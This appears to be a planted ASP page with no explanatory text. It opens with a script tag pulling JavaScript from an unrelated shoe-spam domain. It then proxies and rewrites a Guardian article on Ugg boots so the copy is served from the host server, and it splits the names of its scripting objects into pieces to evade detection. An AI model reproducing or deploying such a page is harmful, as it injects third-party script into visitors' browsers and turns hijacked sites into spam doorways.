<script src="http://www.jordan2014newretro.com/js/2014uggs.js"></script>
<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> 
<%
target_url = "http://www.theguardian.com/fashion/fashion-blog/2012/nov/06/ugg-boots-over-fashion"
key_url = ""

Response.Charset="utf-8"
Function GetHttpPage(HttpUrl)
	If IsNull(HttpUrl)=True Then
		Response.Write("")
		Exit Function
	End If
	Dim Http
	Set Http=server.createobject("MSX"&"ML2.XML"&"HTTP")
	Http.open "GET",HttpUrl,False
	Http.Send()
	If Http.Readystate<>4 then
		Set Http=Nothing
		response.Write("no getcontent")
		Exit function
	End If
	GetHttpPage=BytesToBSTR(Http.responseBody,"UTF-8")
	Set Http=Nothing
	If Err.number<>0 then
		Err.Clear
		Response.Write("no content")
		Response.End()
	End If
End Function

Function BytesToBstr(Body,Cset)
	Dim Objstream
	Set Objstream = Server.CreateObject("adod"&"b.stream")
	Objstream.Type = 1
	Objstream.Mode =3
	Objstream.Open
	Objstream.Write body
	Objstream.Position = 0
	Objstream.Type = 2
	Objstream.Charset = Cset
	BytesToBstr = Objstream.ReadText 
	Objstream.Close
	set Objstream = nothing
End Function

Function writefile(FileUrl,body)
set stm=server.CreateObject("adod"&"b.stream") 
     stm.Type=2
     stm.mode=3 
     stm.charset="UTF-8"
     stm.open 
     stm.WriteText body 
     stm.SaveToFile server.MapPath(FileUrl),2  
     stm.flush 
     stm.Close 
    set stm=Nothing
End Function

clone_url = target_url&"/"



QUERYSTRING=Request.ServerVariables("QUERY_STRING")
url_self = Request.ServerVariables("SCRIPT_NAME")
asp_url = "http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("SCRIPT_NAME")
url = clone_url&QUERYSTRING

arr = Split(QUERYSTRING,"/")

n = ubound(arr)
url_path = ""


If n>0 Then
	n = n-1
	for i=0 to n
		temp = arr(i)
		url_path = url_path & "/" & temp & ""
	next  
End If

'response.Write(asp_url)
html = GetHttpPage(url)

Set p = new RegExp
p.IgnoreCase = True
p.Global = True
p.Pattern =  "<img\s+[^>]*src=[""']{0,1}\s*((?!http:\/\/)[^""' >]*)[""'> ]*"
'p.Pattern = "<script\s+[^>]*src=[""']{0,1}\s*((?!http:\/\/)[^""' >]*)[""'> ]*" 
Set Matches = p.Execute(html)
For Each Match in Matches
	d = ""
	d = Match.value
	href = ""
	href = Trim(Match.SubMatches(0))
	
	If href <> "" Then
		b = Left(href,1)
		If b="/" Then
			temp = target_url & href
		Else
			temp = target_url & url_path &"/" & href
		End If
		d2 = Replace(d,href,temp)
		html = Replace(html,d,d2)
	End If
Next
p.Pattern = "<script\s+[^>]*src=[""']{0,1}\s*((?!http:\/\/)[^""' >]*)[""'> ]*" 
Set Matches = p.Execute(html)
For Each Match in Matches
	d = ""
	d = Match.value
	href = ""
	href = Trim(Match.SubMatches(0))
	
	If href <> "" Then
		b = Left(href,1)
		If b="/" Then
			temp = target_url & href
		Else
			temp = target_url & url_path &"/" & href
		End If
		d2 = Replace(d,href,temp)
		html = Replace(html,d,d2)
	End If
Next
p.Pattern = "<link\s+[^>]*href=[""']{0,1}\s*((?!http:\/\/)[^""' >]*)[""'> ]*" 
Set Matches = p.Execute(html)
For Each Match in Matches
	d = ""
	d = Match.value
	href = ""
	href = Trim(Match.SubMatches(0))
	
	If href <> "" Then
		b = Left(href,1)
		If b="/" Then
			temp = target_url & href
		Else
			temp = target_url & url_path &"/" & href
		End If
		d2 = Replace(d,href,temp)
		html = Replace(html,d,d2)
	End If
Next
p.Pattern = "url\([""']{0,1}\s*((?!http:\/\/)[^""' \)]*\.(jpg|gif|png))[""'\) ]*" 
Set Matches = p.Execute(html)
For Each Match in Matches
	d = ""
	d = Match.value
	href = ""
	href = Trim(Match.SubMatches(0))
	If href <> "" Then
		b = Left(href,1)
		'response.Write(b)
		If b="/" Then
			temp = target_url & href
		Else
			temp = target_url & url_path &"/" & href
		End If
		d2 = Replace(d,href,temp)
		html = Replace(html,d,d2)
	End If
Next

p.Pattern = "<a\s+[^>]*href=[""']{0,1}\s*([^""#:' >][^""' >]+)[""'> ]*" 
Set Matches = p.Execute(html)
For Each Match in Matches
	d = ""
	d = Match.value
	href = ""
	href = Trim(Match.SubMatches(0))
	'response.Write(href)
	d2 =""
	
	If(href = target_url Or href = target_url&"/") Then
			d2 = Replace(d,href,asp_url)
	ElseIf LCase(Left(href,7)) = "http://" Then
		temp = LCase(Left(href,Len(target_url)))
		If temp = target_url Then
			d2 = Replace(d,target_url&"/",asp_url&"?")
		End If
	ElseIf InStr(href,":")>0 Then

	ElseIf href <>"" Then
		temp = Left(href,1)
		If temp = "/" Then
			d3 = asp_url & "?" & Right(href,(Len(href)-1))	
			'response.Write(d3)
		ElseIf (url_path ="") then
			d3 = asp_url & "?" & href
		Else
			d3 = asp_url & "?" & url_path & "/" & href
		End If
		d2 = Replace(d,href,d3)
	End If
	If d2<>"" Then
		html = Replace(html,d,d2)
	End If
Next

If key_url <>"" Then
   html2 = GetHttpPage(key_url)
   html = html & html2
End If
	
response.Write(html)
%>